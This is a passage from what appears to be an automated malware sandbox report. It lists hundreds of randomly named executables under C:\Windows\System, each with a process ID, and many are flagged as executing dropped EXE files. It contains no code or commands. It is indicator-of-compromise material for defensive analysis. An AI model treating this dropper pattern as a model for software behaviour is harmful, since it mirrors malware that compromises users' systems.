  C:\Windows\System\PpMwkaB.exe
  2⤵
  - Executes dropped EXE
  PID:900
- C:\Windows\System\QhSchfA.exe
  C:\Windows\System\QhSchfA.exe
  2⤵
  - Executes dropped EXE
  PID:5040
- C:\Windows\System\tmywhqX.exe
  C:\Windows\System\tmywhqX.exe
  2⤵
  - Executes dropped EXE
  PID:3052
- C:\Windows\System\ltoogbv.exe
  C:\Windows\System\ltoogbv.exe
  2⤵
  - Executes dropped EXE
  PID:5008
- C:\Windows\System\sokIYqI.exe
  C:\Windows\System\sokIYqI.exe
  2⤵
  - Executes dropped EXE
  PID:1020
- C:\Windows\System\sAtYElo.exe
  C:\Windows\System\sAtYElo.exe
  2⤵
  - Executes dropped EXE
  PID:1624
- C:\Windows\System\oRQLNak.exe
  C:\Windows\System\oRQLNak.exe
  2⤵
  - Executes dropped EXE
  PID:4076
- C:\Windows\System\kJeAiuR.exe
  C:\Windows\System\kJeAiuR.exe
  2⤵
  - Executes dropped EXE
  PID:3280
- C:\Windows\System\lYjqOra.exe
  C:\Windows\System\lYjqOra.exe
  2⤵
  - Executes dropped EXE
  PID:4456
- C:\Windows\System\YDoEStz.exe
  C:\Windows\System\YDoEStz.exe
  2⤵
  - Executes dropped EXE
  PID:3240
- C:\Windows\System\ZlIadZL.exe
  C:\Windows\System\ZlIadZL.exe
  2⤵
  - Executes dropped EXE
  PID:4816
- C:\Windows\System\cLBnund.exe
  C:\Windows\System\cLBnund.exe
  2⤵
  - Executes dropped EXE
  PID:628
- C:\Windows\System\wJVplsq.exe
  C:\Windows\System\wJVplsq.exe
  2⤵
  - Executes dropped EXE
  PID:460
- C:\Windows\System\OhRQOVU.exe
  C:\Windows\System\OhRQOVU.exe
  2⤵
  - Executes dropped EXE
  PID:3224
- C:\Windows\System\CQoYUZE.exe
  C:\Windows\System\CQoYUZE.exe
  2⤵
  - Executes dropped EXE
  PID:1316
- C:\Windows\System\FoyVTRR.exe
  C:\Windows\System\FoyVTRR.exe
  2⤵
  - Executes dropped EXE
  PID:3228
- C:\Windows\System\cuGYCpm.exe
  C:\Windows\System\cuGYCpm.exe
  2⤵
  - Executes dropped EXE
  PID:2944
- C:\Windows\System\XvosbRr.exe
  C:\Windows\System\XvosbRr.exe
  2⤵
  - Executes dropped EXE
  PID:1820
- C:\Windows\System\KLnqoGl.exe
  C:\Windows\System\KLnqoGl.exe
  2⤵
  - Executes dropped EXE
  PID:3644
- C:\Windows\System\nNPnIDx.exe
  C:\Windows\System\nNPnIDx.exe
  2⤵
  - Executes dropped EXE
  PID:4036
- C:\Windows\System\LgkYyTw.exe
  C:\Windows\System\LgkYyTw.exe
  2⤵
  - Executes dropped EXE
  PID:412
- C:\Windows\System\OJEPDGY.exe
  C:\Windows\System\OJEPDGY.exe
  2⤵
  - Executes dropped EXE
  PID:3212
- C:\Windows\System\VWySBJj.exe
  C:\Windows\System\VWySBJj.exe
  2⤵
  - Executes dropped EXE
  PID:1172
- C:\Windows\System\JaPMAfw.exe
  C:\Windows\System\JaPMAfw.exe
  2⤵
  - Executes dropped EXE
  PID:3436
- C:\Windows\System\BsPHvvL.exe
  C:\Windows\System\BsPHvvL.exe
  2⤵
  - Executes dropped EXE
  PID:1180
- C:\Windows\System\gPAUjbd.exe
  C:\Windows\System\gPAUjbd.exe
  2⤵
  - Executes dropped EXE
  PID:1760
- C:\Windows\System\mEMyWZx.exe
  C:\Windows\System\mEMyWZx.exe
  2⤵
  - Executes dropped EXE
  PID:748
- C:\Windows\System\WyaPTZM.exe
  C:\Windows\System\WyaPTZM.exe
  2⤵
  - Executes dropped EXE
  PID:4224
- C:\Windows\System\HBGETAW.exe
  C:\Windows\System\HBGETAW.exe
  2⤵
  - Executes dropped EXE
  PID:2220
- C:\Windows\System\HmmkbbI.exe
  C:\Windows\System\HmmkbbI.exe
  2⤵
  - Executes dropped EXE
  PID:3576
- C:\Windows\System\RkGSNgo.exe
  C:\Windows\System\RkGSNgo.exe
  2⤵
  - Executes dropped EXE
  PID:3824
- C:\Windows\System\XscmxLL.exe
  C:\Windows\System\XscmxLL.exe
  2⤵
  - Executes dropped EXE
  PID:1796
- C:\Windows\System\uiXBrRB.exe
  C:\Windows\System\uiXBrRB.exe
  2⤵
  - Executes dropped EXE
  PID:4848
- C:\Windows\System\dnLoDmz.exe
  C:\Windows\System\dnLoDmz.exe
  2⤵
  - Executes dropped EXE
  PID:4308
- C:\Windows\System\IcCrsPB.exe
  C:\Windows\System\IcCrsPB.exe
  2⤵
  - Executes dropped EXE
  PID:4876
- C:\Windows\System\QfNdyCe.exe
  C:\Windows\System\QfNdyCe.exe
  2⤵
  - Executes dropped EXE
  PID:1580
- C:\Windows\System\IzYGFJV.exe
  C:\Windows\System\IzYGFJV.exe
  2⤵
  - Executes dropped EXE
  PID:1560
- C:\Windows\System\tFEkKRv.exe
  C:\Windows\System\tFEkKRv.exe
  2⤵
  - Executes dropped EXE
  PID:4720
- C:\Windows\System\XzIjuFv.exe
  C:\Windows\System\XzIjuFv.exe
  2⤵
  - Executes dropped EXE
  PID:3252
- C:\Windows\System\aKEYGWk.exe
  C:\Windows\System\aKEYGWk.exe
  2⤵
  - Executes dropped EXE
  PID:5100
- C:\Windows\System\jxNUSDd.exe
  C:\Windows\System\jxNUSDd.exe
  2⤵
  - Executes dropped EXE
  PID:4404
- C:\Windows\System\vzzCeEt.exe
  C:\Windows\System\vzzCeEt.exe
  2⤵
  - Executes dropped EXE
  PID:5024
- C:\Windows\System\yMiiUvL.exe
  C:\Windows\System\yMiiUvL.exe
  2⤵
  - Executes dropped EXE
  PID:1288
- C:\Windows\System\qJjhEcj.exe
  C:\Windows\System\qJjhEcj.exe
  2⤵
  - Executes dropped EXE
  PID:448
- C:\Windows\System\SrcRMxA.exe
  C:\Windows\System\SrcRMxA.exe
  2⤵
  - Executes dropped EXE
  PID:1212
- C:\Windows\System\eYxGLWw.exe
  C:\Windows\System\eYxGLWw.exe
  2⤵
  - Executes dropped EXE
  PID:1372
- C:\Windows\System\WtBLuqa.exe
  C:\Windows\System\WtBLuqa.exe
  2⤵
  - Executes dropped EXE
  PID:4996
- C:\Windows\System\NvYzQCv.exe
  C:\Windows\System\NvYzQCv.exe
  2⤵
  - Executes dropped EXE
  PID:4748
- C:\Windows\System\qyMjtXt.exe
  C:\Windows\System\qyMjtXt.exe
  2⤵
  - Executes dropped EXE
  PID:3000
- C:\Windows\System\dUyRPvh.exe
  C:\Windows\System\dUyRPvh.exe
  2⤵
  - Executes dropped EXE
  PID:2264
- C:\Windows\System\XplPFqb.exe
  C:\Windows\System\XplPFqb.exe
  2⤵
  - Executes dropped EXE
  PID:1208
- C:\Windows\System\LIKXEVi.exe
  C:\Windows\System\LIKXEVi.exe
  2⤵
  - Executes dropped EXE
  PID:4604
- C:\Windows\System\lnPRSOI.exe
  C:\Windows\System\lnPRSOI.exe
  2⤵
  - Executes dropped EXE
  PID:3420
- C:\Windows\System\VBFNYZl.exe
  C:\Windows\System\VBFNYZl.exe
  2⤵
  - Executes dropped EXE
  PID:5000
- C:\Windows\System\LWXGrvW.exe
  C:\Windows\System\LWXGrvW.exe
  2⤵
  - Executes dropped EXE
  PID:2984
- C:\Windows\System\QWyiyFf.exe
  C:\Windows\System\QWyiyFf.exe
  2⤵
  - Executes dropped EXE
  PID:2784
- C:\Windows\System\QYyecWP.exe
  C:\Windows\System\QYyecWP.exe
  2⤵
  - Executes dropped EXE
  PID:3328
- C:\Windows\System\RZNWfIM.exe
  C:\Windows\System\RZNWfIM.exe
  2⤵
  - Executes dropped EXE
  PID:2196
- C:\Windows\System\hyZoMoC.exe
  C:\Windows\System\hyZoMoC.exe
  2⤵
  - Executes dropped EXE
  PID:4264
- C:\Windows\System\OALrnzV.exe
  C:\Windows\System\OALrnzV.exe
  2⤵
  - Executes dropped EXE
  PID:1160
- C:\Windows\System\txcoBXb.exe
  C:\Windows\System\txcoBXb.exe
  2⤵
  - Executes dropped EXE
  PID:4320
- C:\Windows\System\lULVewl.exe
  C:\Windows\System\lULVewl.exe
  2⤵
  - Executes dropped EXE
  PID:3608
- C:\Windows\System\vfDGrkF.exe
  C:\Windows\System\vfDGrkF.exe
  2⤵
  PID:3876
- C:\Windows\System\nqpHDPP.exe
  C:\Windows\System\nqpHDPP.exe
  2⤵
  PID:3624
- C:\Windows\System\jYrZZGF.exe
  C:\Windows\System\jYrZZGF.exe
  2⤵
  PID:2072
- C:\Windows\System\nCDUdWr.exe
  C:\Windows\System\nCDUdWr.exe
  2⤵
  PID:2952
- C:\Windows\System\MjTcRoC.exe
  C:\Windows\System\MjTcRoC.exe
  2⤵
  PID:5148
- C:\Windows\System\GpUdJbL.exe
  C:\Windows\System\GpUdJbL.exe
  2⤵
  PID:5176
- C:\Windows\System\uAGXLwy.exe
  C:\Windows\System\uAGXLwy.exe
  2⤵
  PID:5204
- C:\Windows\System\kyvCKAN.exe
  C:\Windows\System\kyvCKAN.exe
  2⤵
  PID:5232
- C:\Windows\System\pibwgOz.exe
  C:\Windows\System\pibwgOz.exe
  2⤵
  PID:5268
- C:\Windows\System\TuZFLYA.exe
  C:\Windows\System\TuZFLYA.exe
  2⤵
  PID:5288
- C:\Windows\System\pygoRTf.exe
  C:\Windows\System\pygoRTf.exe
  2⤵
  PID:5316
- C:\Windows\System\WmhHyvI.exe
  C:\Windows\System\WmhHyvI.exe
  2⤵
  PID:5344
- C:\Windows\System\oFeKaOa.exe
  C:\Windows\System\oFeKaOa.exe
  2⤵
  PID:5372
- C:\Windows\System\cngYTnD.exe
  C:\Windows\System\cngYTnD.exe
  2⤵
  PID:5400
- C:\Windows\System\AwwjHxh.exe
  C:\Windows\System\AwwjHxh.exe
  2⤵
  PID:5428
- C:\Windows\System\kFXZQWA.exe
  C:\Windows\System\kFXZQWA.exe
  2⤵
  PID:5456
- C:\Windows\System\qZfNoWm.exe
  C:\Windows\System\qZfNoWm.exe
  2⤵
  PID:5488
- C:\Windows\System\hMFsCCf.exe
  C:\Windows\System\hMFsCCf.exe
  2⤵
  PID:5516
- C:\Windows\System\DxJFqpx.exe
  C:\Windows\System\DxJFqpx.exe
  2⤵
  PID:5552
- C:\Windows\System\nTULDoi.exe
  C:\Windows\System\nTULDoi.exe
  2⤵
  PID:5580
- C:\Windows\System\qNVKbNv.exe
  C:\Windows\System\qNVKbNv.exe
  2⤵
  PID:5608
- C:\Windows\System\giDMvdb.exe
  C:\Windows\System\giDMvdb.exe
  2⤵
  PID:5640
- C:\Windows\System\qbuFQHO.exe
  C:\Windows\System\qbuFQHO.exe
  2⤵
  PID:5668
- C:\Windows\System\QNrytYt.exe
  C:\Windows\System\QNrytYt.exe
  2⤵
  PID:5696
- C:\Windows\System\eJOFwlu.exe
  C:\Windows\System\eJOFwlu.exe
  2⤵
  PID:5724
- C:\Windows\System\nNBTLUl.exe
  C:\Windows\System\nNBTLUl.exe
  2⤵
  PID:5752
- C:\Windows\System\oiPPmaj.exe
  C:\Windows\System\oiPPmaj.exe
  2⤵
  PID:5780
- C:\Windows\System\OYKISAt.exe
  C:\Windows\System\OYKISAt.exe
  2⤵
  PID:5808
- C:\Windows\System\uyVILXl.exe
  C:\Windows\System\uyVILXl.exe
  2⤵
  PID:5836
- C:\Windows\System\rJZZGJB.exe
  C:\Windows\System\rJZZGJB.exe
  2⤵
  PID:5864
- C:\Windows\System\WuIHfjk.exe
  C:\Windows\System\WuIHfjk.exe
  2⤵
  PID:5892
- C:\Windows\System\CKtxEqY.exe
  C:\Windows\System\CKtxEqY.exe
  2⤵
  PID:5920
- C:\Windows\System\fcbiOFD.exe
  C:\Windows\System\fcbiOFD.exe
  2⤵
  PID:5944
- C:\Windows\System\gJjwoRz.exe
  C:\Windows\System\gJjwoRz.exe
  2⤵
  PID:5976
- C:\Windows\System\QjFKPAd.exe
  C:\Windows\System\QjFKPAd.exe
  2⤵
  PID:6000
- C:\Windows\System\BNPbMvs.exe
  C:\Windows\System\BNPbMvs.exe
  2⤵
  PID:6028
- C:\Windows\System\TFnlZyR.exe
  C:\Windows\System\TFnlZyR.exe
  2⤵
  PID:6052
- C:\Windows\System\zLftAgR.exe
  C:\Windows\System\zLftAgR.exe
  2⤵
  PID:6084
- C:\Windows\System\qZFjwPw.exe
  C:\Windows\System\qZFjwPw.exe
  2⤵
  PID:6112
- C:\Windows\System\jJQqXnU.exe
  C:\Windows\System\jJQqXnU.exe
  2⤵
  PID:6140
- C:\Windows\System\feeOdRu.exe
  C:\Windows\System\feeOdRu.exe
  2⤵
  PID:2576
- C:\Windows\System\RyMPVMd.exe
  C:\Windows\System\RyMPVMd.exe
  2⤵
  PID:2480
- C:\Windows\System\Hnbcmfw.exe
  C:\Windows\System\Hnbcmfw.exe
  2⤵
  PID:376
- C:\Windows\System\khMqaSj.exe
  C:\Windows\System\khMqaSj.exe
  2⤵
  PID:2536
- C:\Windows\System\uqDWfiJ.exe
  C:\Windows\System\uqDWfiJ.exe
  2⤵
  PID:4412
- C:\Windows\System\WYxsAVV.exe
  C:\Windows\System\WYxsAVV.exe
  2⤵
  PID:5160
- C:\Windows\System\qzYLcQy.exe
  C:\Windows\System\qzYLcQy.exe
  2⤵
  PID:5224
- C:\Windows\System\AfDtFoK.exe
  C:\Windows\System\AfDtFoK.exe
  2⤵
  PID:5300
- C:\Windows\System\LTigpEb.exe
  C:\Windows\System\LTigpEb.exe
  2⤵
  PID:5364
- C:\Windows\System\MRFuXLM.exe
  C:\Windows\System\MRFuXLM.exe
  2⤵
  PID:5468
- C:\Windows\System\EbSsrXn.exe
  C:\Windows\System\EbSsrXn.exe
  2⤵
  PID:5508
- C:\Windows\System\mYznNwr.exe
  C:\Windows\System\mYznNwr.exe
  2⤵
  PID:5576
- C:\Windows\System\TDgCmOT.exe
  C:\Windows\System\TDgCmOT.exe
  2⤵
  PID:5652
- C:\Windows\System\eeEIkQP.exe
  C:\Windows\System\eeEIkQP.exe
  2⤵
  PID:5712
- C:\Windows\System\DwETMzy.exe
  C:\Windows\System\DwETMzy.exe
  2⤵
  PID:5772
- C:\Windows\System\hSXouFe.exe
  C:\Windows\System\hSXouFe.exe
  2⤵
  PID:5848
- C:\Windows\System\PQaPFuJ.exe
  C:\Windows\System\PQaPFuJ.exe
  2⤵
  PID:5908
- C:\Windows\System\uYVLSbV.exe
  C:\Windows\System\uYVLSbV.exe
  2⤵
  PID:5968
- C:\Windows\System\DNvtxFw.exe
  C:\Windows\System\DNvtxFw.exe
  2⤵
  PID:6044
- C:\Windows\System\HKSjeNx.exe
  C:\Windows\System\HKSjeNx.exe
  2⤵
  PID:6104
- C:\Windows\System\LVUBUSe.exe
  C:\Windows\System\LVUBUSe.exe
  2⤵
  PID:4980
- C:\Windows\System\iBqHmTi.exe
  C:\Windows\System\iBqHmTi.exe
  2⤵
  PID:5332
- C:\Windows\System\eTgOSkT.exe
  C:\Windows\System\eTgOSkT.exe
  2⤵
  PID:5132
- C:\Windows\System\EoLgMHC.exe
  C:\Windows\System\EoLgMHC.exe
  2⤵
  PID:5280
- C:\Windows\System\OIplifu.exe
  C:\Windows\System\OIplifu.exe
  2⤵
  PID:5444
- C:\Windows\System\dgqNUlz.exe
  C:\Windows\System\dgqNUlz.exe
  2⤵
  PID:5624
- C:\Windows\System\arIPkrk.exe
  C:\Windows\System\arIPkrk.exe
  2⤵
  PID:5744
- C:\Windows\System\wkEnNsf.exe
  C:\Windows\System\wkEnNsf.exe
  2⤵
  PID:5884
- C:\Windows\System\jMVdIUD.exe
  C:\Windows\System\jMVdIUD.exe
  2⤵
  PID:6072
- C:\Windows\System\GmsNdGc.exe
  C:\Windows\System\GmsNdGc.exe
  2⤵
  PID:6172
- C:\Windows\System\LCupaaq.exe
  C:\Windows\System\LCupaaq.exe
  2⤵
  PID:6200
- C:\Windows\System\YMBMeCp.exe
  C:\Windows\System\YMBMeCp.exe
  2⤵
  PID:6228
- C:\Windows\System\kwZdcuQ.exe
  C:\Windows\System\kwZdcuQ.exe
  2⤵
  PID:6256
- C:\Windows\System\ydhKrnm.exe
  C:\Windows\System\ydhKrnm.exe
  2⤵
  PID:6284
- C:\Windows\System\usvvtcA.exe
  C:\Windows\System\usvvtcA.exe
  2⤵
  PID:6312
- C:\Windows\System\XTtMyBS.exe
  C:\Windows\System\XTtMyBS.exe
  2⤵
  PID:6340
- C:\Windows\System\OQhyEAk.exe
  C:\Windows\System\OQhyEAk.exe
  2⤵
  PID:6368
- C:\Windows\System\LZWkLMW.exe
  C:\Windows\System\LZWkLMW.exe
  2⤵
  PID:6396
- C:\Windows\System\uZVscae.exe
  C:\Windows\System\uZVscae.exe
  2⤵
  PID:6424
- C:\Windows\System\KXmWXcY.exe
  C:\Windows\System\KXmWXcY.exe
  2⤵
  PID:6452
- C:\Windows\System\NjeJpeK.exe
  C:\Windows\System\NjeJpeK.exe
  2⤵
  PID:6480
- C:\Windows\System\FUQDMac.exe
  C:\Windows\System\FUQDMac.exe
  2⤵
  PID:6508
- C:\Windows\System\DIuqTkr.exe
  C:\Windows\System\DIuqTkr.exe
  2⤵
  PID:6536
- C:\Windows\System\OAzkemT.exe
  C:\Windows\System\OAzkemT.exe
  2⤵
  PID:6564
- C:\Windows\System\ujIPdyQ.exe
  C:\Windows\System\ujIPdyQ.exe
  2⤵
  PID:6588
- C:\Windows\System\YhyxFiC.exe
  C:\Windows\System\YhyxFiC.exe
  2⤵
  PID:6632
- C:\Windows\System\HODdKIl.exe
  C:\Windows\System\HODdKIl.exe
  2⤵
  PID:6660
- C:\Windows\System\SpIGCIO.exe
  C:\Windows\System\SpIGCIO.exe
  2⤵
  PID:6688
- C:\Windows\System\GqAnmEZ.exe
  C:\Windows\System\GqAnmEZ.exe
  2⤵
  PID:6704
- C:\Windows\System\RIcToqR.exe
  C:\Windows\System\RIcToqR.exe
  2⤵
  PID:6732
- C:\Windows\System\bnRQYfJ.exe
  C:\Windows\System\bnRQYfJ.exe
  2⤵
  PID:6760
- C:\Windows\System\PMnvFgD.exe
  C:\Windows\System\PMnvFgD.exe
  2⤵
  PID:6784
- C:\Windows\System\HHiJTIE.exe
  C:\Windows\System\HHiJTIE.exe
  2⤵
  PID:6816
- C:\Windows\System\elsTKUX.exe
  C:\Windows\System\elsTKUX.exe
  2⤵
  PID:6844
- C:\Windows\System\IIilryL.exe
  C:\Windows\System\IIilryL.exe
  2⤵
  PID:6872
- C:\Windows\System\tKpCrWY.exe
  C:\Windows\System\tKpCrWY.exe
  2⤵
  PID:6900
- C:\Windows\System\ANvJXFP.exe
  C:\Windows\System\ANvJXFP.exe
  2⤵
  PID:6928
- C:\Windows\System\EsLysVP.exe
  C:\Windows\System\EsLysVP.exe
  2⤵
  PID:6956
- C:\Windows\System\ykQAlAs.exe
  C:\Windows\System\ykQAlAs.exe
  2⤵
  PID:6984
- C:\Windows\System\TkJFKfq.exe
  C:\Windows\System\TkJFKfq.exe
  2⤵
  PID:7012
- C:\Windows\System\nyycFiA.exe
  C:\Windows\System\nyycFiA.exe
  2⤵
  PID:7040
- C:\Windows\System\gyAYbJk.exe
  C:\Windows\System\gyAYbJk.exe
  2⤵
  PID:7068
- C:\Windows\System\FeVyrYl.exe
  C:\Windows\System\FeVyrYl.exe
  2⤵
  PID:7096
- C:\Windows\System\dJZcLPP.exe
  C:\Windows\System\dJZcLPP.exe
  2⤵
  PID:7124
- C:\Windows\System\JTwgBNH.exe
  C:\Windows\System\JTwgBNH.exe
  2⤵
  PID:7152
- C:\Windows\System\ZygPxkB.exe
  C:\Windows\System\ZygPxkB.exe
  2⤵
  PID:3556
- C:\Windows\System\kpfpvFv.exe
  C:\Windows\System\kpfpvFv.exe
  2⤵
  PID:532
- C:\Windows\System\XhIxyYC.exe
  C:\Windows\System\XhIxyYC.exe
  2⤵
  PID:5504
- C:\Windows\System\HKVjZPr.exe
  C:\Windows\System\HKVjZPr.exe
  2⤵
  PID:5824
- C:\Windows\System\TQHpUBZ.exe
  C:\Windows\System\TQHpUBZ.exe
  2⤵
  PID:6164
- C:\Windows\System\VNwHAnp.exe
  C:\Windows\System\VNwHAnp.exe
  2⤵
  PID:6240
- C:\Windows\System\SKKUafT.exe
  C:\Windows\System\SKKUafT.exe
  2⤵
  PID:6296
- C:\Windows\System\XZiTcSF.exe
  C:\Windows\System\XZiTcSF.exe
  2⤵
  PID:6356
- C:\Windows\System\SzzCMtV.exe
  C:\Windows\System\SzzCMtV.exe
  2⤵
  PID:6416
- C:\Windows\System\KsBtQoR.exe
  C:\Windows\System\KsBtQoR.exe
  2⤵
  PID:6492
- C:\Windows\System\WXPbzEm.exe
  C:\Windows\System\WXPbzEm.exe
  2⤵
  PID:6552
- C:\Windows\System\fhMdRYC.exe
  C:\Windows\System\fhMdRYC.exe
  2⤵
  PID:6620
- C:\Windows\System\uqIXdHh.exe
  C:\Windows\System\uqIXdHh.exe
  2⤵
  PID:6680
- C:\Windows\System\TCdMuXu.exe
  C:\Windows\System\TCdMuXu.exe
  2⤵
  PID:6748
- C:\Windows\System\BMmkiEO.exe
  C:\Windows\System\BMmkiEO.exe
  2⤵
  PID:6808
- C:\Windows\System\xfgeUFq.exe
  C:\Windows\System\xfgeUFq.exe
  2⤵
  PID:6884
- C:\Windows\System\FnBdUOz.exe
  C:\Windows\System\FnBdUOz.exe
  2⤵
  PID:6944
- C:\Windows\System\qaSsobY.exe
  C:\Windows\System\qaSsobY.exe
  2⤵
  PID:7004
- C:\Windows\System\uAHXFhz.exe
  C:\Windows\System\uAHXFhz.exe
  2⤵
  PID:7080
- C:\Windows\System\iwwPTBg.exe
  C:\Windows\System\iwwPTBg.exe
  2⤵
  PID:7140
- C:\Windows\System\MMsZhSF.exe
  C:\Windows\System\MMsZhSF.exe
  2⤵
  PID:1272
- C:\Windows\System\giTTgpF.exe
  C:\Windows\System\giTTgpF.exe
  2⤵
  PID:5996
- C:\Windows\System\zPPEJAb.exe
  C:\Windows\System\zPPEJAb.exe
  2⤵
  PID:6268
- C:\Windows\System\kmzrFRp.exe
  C:\Windows\System\kmzrFRp.exe
  2⤵
  PID:6408
- C:\Windows\System\UiRoQLq.exe
  C:\Windows\System\UiRoQLq.exe
  2⤵
  PID:6580
- C:\Windows\System\OpdyNrL.exe
  C:\Windows\System\OpdyNrL.exe
  2⤵
  PID:6720
- C:\Windows\System\MAMsAHo.exe
  C:\Windows\System\MAMsAHo.exe
  2⤵
  PID:6860
- C:\Windows\System\mIkaARQ.exe
  C:\Windows\System\mIkaARQ.exe
  2⤵
  PID:7032
- C:\Windows\System\RhuvGFO.exe
  C:\Windows\System\RhuvGFO.exe
  2⤵
  PID:7176
- C:\Windows\System\xVxdBfb.exe
  C:\Windows\System\xVxdBfb.exe
  2⤵
  PID:7204
- C:\Windows\System\QtgrFEc.exe
  C:\Windows\System\QtgrFEc.exe
  2⤵
  PID:7232
- C:\Windows\System\tYiEzyp.exe
  C:\Windows\System\tYiEzyp.exe
  2⤵
  PID:7260
- C:\Windows\System\JJewkvI.exe
  C:\Windows\System\JJewkvI.exe
  2⤵
  PID:7288
- C:\Windows\System\yqjeEDQ.exe
  C:\Windows\System\yqjeEDQ.exe
  2⤵
  PID:7316
- C:\Windows\System\lKAEOWG.exe
  C:\Windows\System\lKAEOWG.exe
  2⤵
  PID:7344
- C:\Windows\System\NmWHxAa.exe
  C:\Windows\System\NmWHxAa.exe
  2⤵
  PID:7372
- C:\Windows\System\UVDyIMK.exe
  C:\Windows\System\UVDyIMK.exe
  2⤵
  PID:7400
- C:\Windows\System\GHSUerU.exe
  C:\Windows\System\GHSUerU.exe
  2⤵
  PID:7428
- C:\Windows\System\peCMRcH.exe
  C:\Windows\System\peCMRcH.exe
  2⤵
  PID:7456
- C:\Windows\System\mvbLGyf.exe
  C:\Windows\System\mvbLGyf.exe
  2⤵
  PID:7484
- C:\Windows\System\ScdvJPA.exe
  C:\Windows\System\ScdvJPA.exe
  2⤵
  PID:7512
- C:\Windows\System\zOTfvrU.exe
  C:\Windows\System\zOTfvrU.exe
  2⤵
  PID:7540
- C:\Windows\System\fAkQKgI.exe
  C:\Windows\System\fAkQKgI.exe
  2⤵
  PID:7568
- C:\Windows\System\DxNgNdt.exe
  C:\Windows\System\DxNgNdt.exe
  2⤵
  PID:7596
- C:\Windows\System\BJskgfG.exe
  C:\Windows\System\BJskgfG.exe
  2⤵
  PID:7624
- C:\Windows\System\GYjXgwC.exe
  C:\Windows\System\GYjXgwC.exe
  2⤵
  PID:7652
- C:\Windows\System\YQOmtJa.exe
  C:\Windows\System\YQOmtJa.exe
  2⤵
  PID:7680
- C:\Windows\System\jAKANCC.exe
  C:\Windows\System\jAKANCC.exe
  2⤵
  PID:7708
- C:\Windows\System\QKNXrqM.exe
  C:\Windows\System\QKNXrqM.exe
  2⤵
  PID:7736
- C:\Windows\System\jDsRZpb.exe
  C:\Windows\System\jDsRZpb.exe
  2⤵
  PID:7764
- C:\Windows\System\CBPsUoe.exe
  C:\Windows\System\CBPsUoe.exe
  2⤵
  PID:7792
- C:\Windows\System\rXxQQmq.exe
  C:\Windows\System\rXxQQmq.exe
  2⤵
  PID:7820
- C:\Windows\System\YfKjljG.exe
  C:\Windows\System\YfKjljG.exe
  2⤵
  PID:7848
- C:\Windows\System\HUrxrZU.exe
  C:\Windows\System\HUrxrZU.exe
  2⤵
  PID:7876
- C:\Windows\System\dpqElLq.exe
  C:\Windows\System\dpqElLq.exe
  2⤵
  PID:7904
- C:\Windows\System\GsiGcZE.exe
  C:\Windows\System\GsiGcZE.exe
  2⤵
  PID:7932
- C:\Windows\System\dUcxzPy.exe
  C:\Windows\System\dUcxzPy.exe
  2⤵
  PID:7960
- C:\Windows\System\cMLvtDO.exe
  C:\Windows\System\cMLvtDO.exe
  2⤵
  PID:7988
- C:\Windows\System\rYjysja.exe
  C:\Windows\System\rYjysja.exe
  2⤵
  PID:8016
- C:\Windows\System\eOegWMK.exe
  C:\Windows\System\eOegWMK.exe
  2⤵
  PID:8044
- C:\Windows\System\UxIuWal.exe
  C:\Windows\System\UxIuWal.exe
  2⤵
  PID:8072
- C:\Windows\System\rvgEKli.exe
  C:\Windows\System\rvgEKli.exe
  2⤵
  PID:8100
- C:\Windows\System\bADMMJO.exe
  C:\Windows\System\bADMMJO.exe
  2⤵
  PID:8128
- C:\Windows\System\hmpIYJB.exe
  C:\Windows\System\hmpIYJB.exe
  2⤵
  PID:8156
- C:\Windows\System\gZCTMlY.exe
  C:\Windows\System\gZCTMlY.exe
  2⤵
  PID:8184
- C:\Windows\System\QfnPzlc.exe
  C:\Windows\System\QfnPzlc.exe
  2⤵
  PID:5688
- C:\Windows\System\IPyGWtG.exe
  C:\Windows\System\IPyGWtG.exe
  2⤵
  PID:2840
- C:\Windows\System\gfkglBA.exe
  C:\Windows\System\gfkglBA.exe
  2⤵
  PID:6780
- C:\Windows\System\PTPcZMh.exe
  C:\Windows\System\PTPcZMh.exe
  2⤵
  PID:7108
- C:\Windows\System\CIOysme.exe
  C:\Windows\System\CIOysme.exe
  2⤵
  PID:7220
- C:\Windows\System\NgTddkv.exe
  C:\Windows\System\NgTddkv.exe
  2⤵
  PID:7280
- C:\Windows\System\liFdfMM.exe
  C:\Windows\System\liFdfMM.exe
  2⤵
  PID:7336
- C:\Windows\System\doqGvRo.exe
  C:\Windows\System\doqGvRo.exe
  2⤵
  PID:7392
- C:\Windows\System\sIBHfKW.exe
  C:\Windows\System\sIBHfKW.exe
  2⤵
  PID:7468
- C:\Windows\System\wrXDtwm.exe
  C:\Windows\System\wrXDtwm.exe
  2⤵
  PID:7524
- C:\Windows\System\AuMJGAk.exe
  C:\Windows\System\AuMJGAk.exe
  2⤵
  PID:7584
- C:\Windows\System\ZvshmyX.exe
  C:\Windows\System\ZvshmyX.exe
  2⤵
  PID:7644
- C:\Windows\System\JjJvsPL.exe
  C:\Windows\System\JjJvsPL.exe
  2⤵
  PID:7700
- C:\Windows\System\RZWsjQx.exe
  C:\Windows\System\RZWsjQx.exe
  2⤵
  PID:3332
- C:\Windows\System\SQiAGPn.exe
  C:\Windows\System\SQiAGPn.exe
  2⤵
  PID:7808
- C:\Windows\System\fFurQTT.exe
  C:\Windows\System\fFurQTT.exe
  2⤵
  PID:7860
- C:\Windows\System\dqFoJer.exe
  C:\Windows\System\dqFoJer.exe
  2⤵
  PID:7916
- C:\Windows\System\QAaGkNf.exe
  C:\Windows\System\QAaGkNf.exe
  2⤵
  PID:7976
- C:\Windows\System\AOlibKW.exe
  C:\Windows\System\AOlibKW.exe
  2⤵
  PID:8032
- C:\Windows\System\FpOLRsU.exe
  C:\Windows\System\FpOLRsU.exe
  2⤵
  PID:8084
- C:\Windows\System\VPlLWqU.exe
  C:\Windows\System\VPlLWqU.exe
  2⤵
  PID:8140
- C:\Windows\System\WfdgzTv.exe
  C:\Windows\System\WfdgzTv.exe
  2⤵
  PID:672
- C:\Windows\System\HSgwwSA.exe
  C:\Windows\System\HSgwwSA.exe
  2⤵
  PID:6648
- C:\Windows\System\HrgflEZ.exe
  C:\Windows\System\HrgflEZ.exe
  2⤵
  PID:7196
- C:\Windows\System\XDbpwQI.exe
  C:\Windows\System\XDbpwQI.exe
  2⤵
  PID:7360
- C:\Windows\System\xBEUwcq.exe
  C:\Windows\System\xBEUwcq.exe
  2⤵
  PID:7500
- C:\Windows\System\yIwgTwA.exe
  C:\Windows\System\yIwgTwA.exe
  2⤵
  PID:7616
- C:\Windows\System\NOokjEt.exe
  C:\Windows\System\NOokjEt.exe
  2⤵
  PID:7752
- C:\Windows\System\SxUEAcG.exe
  C:\Windows\System\SxUEAcG.exe
  2⤵
  PID:7888
- C:\Windows\System\UGVjtRW.exe
  C:\Windows\System\UGVjtRW.exe
  2⤵
  PID:7952
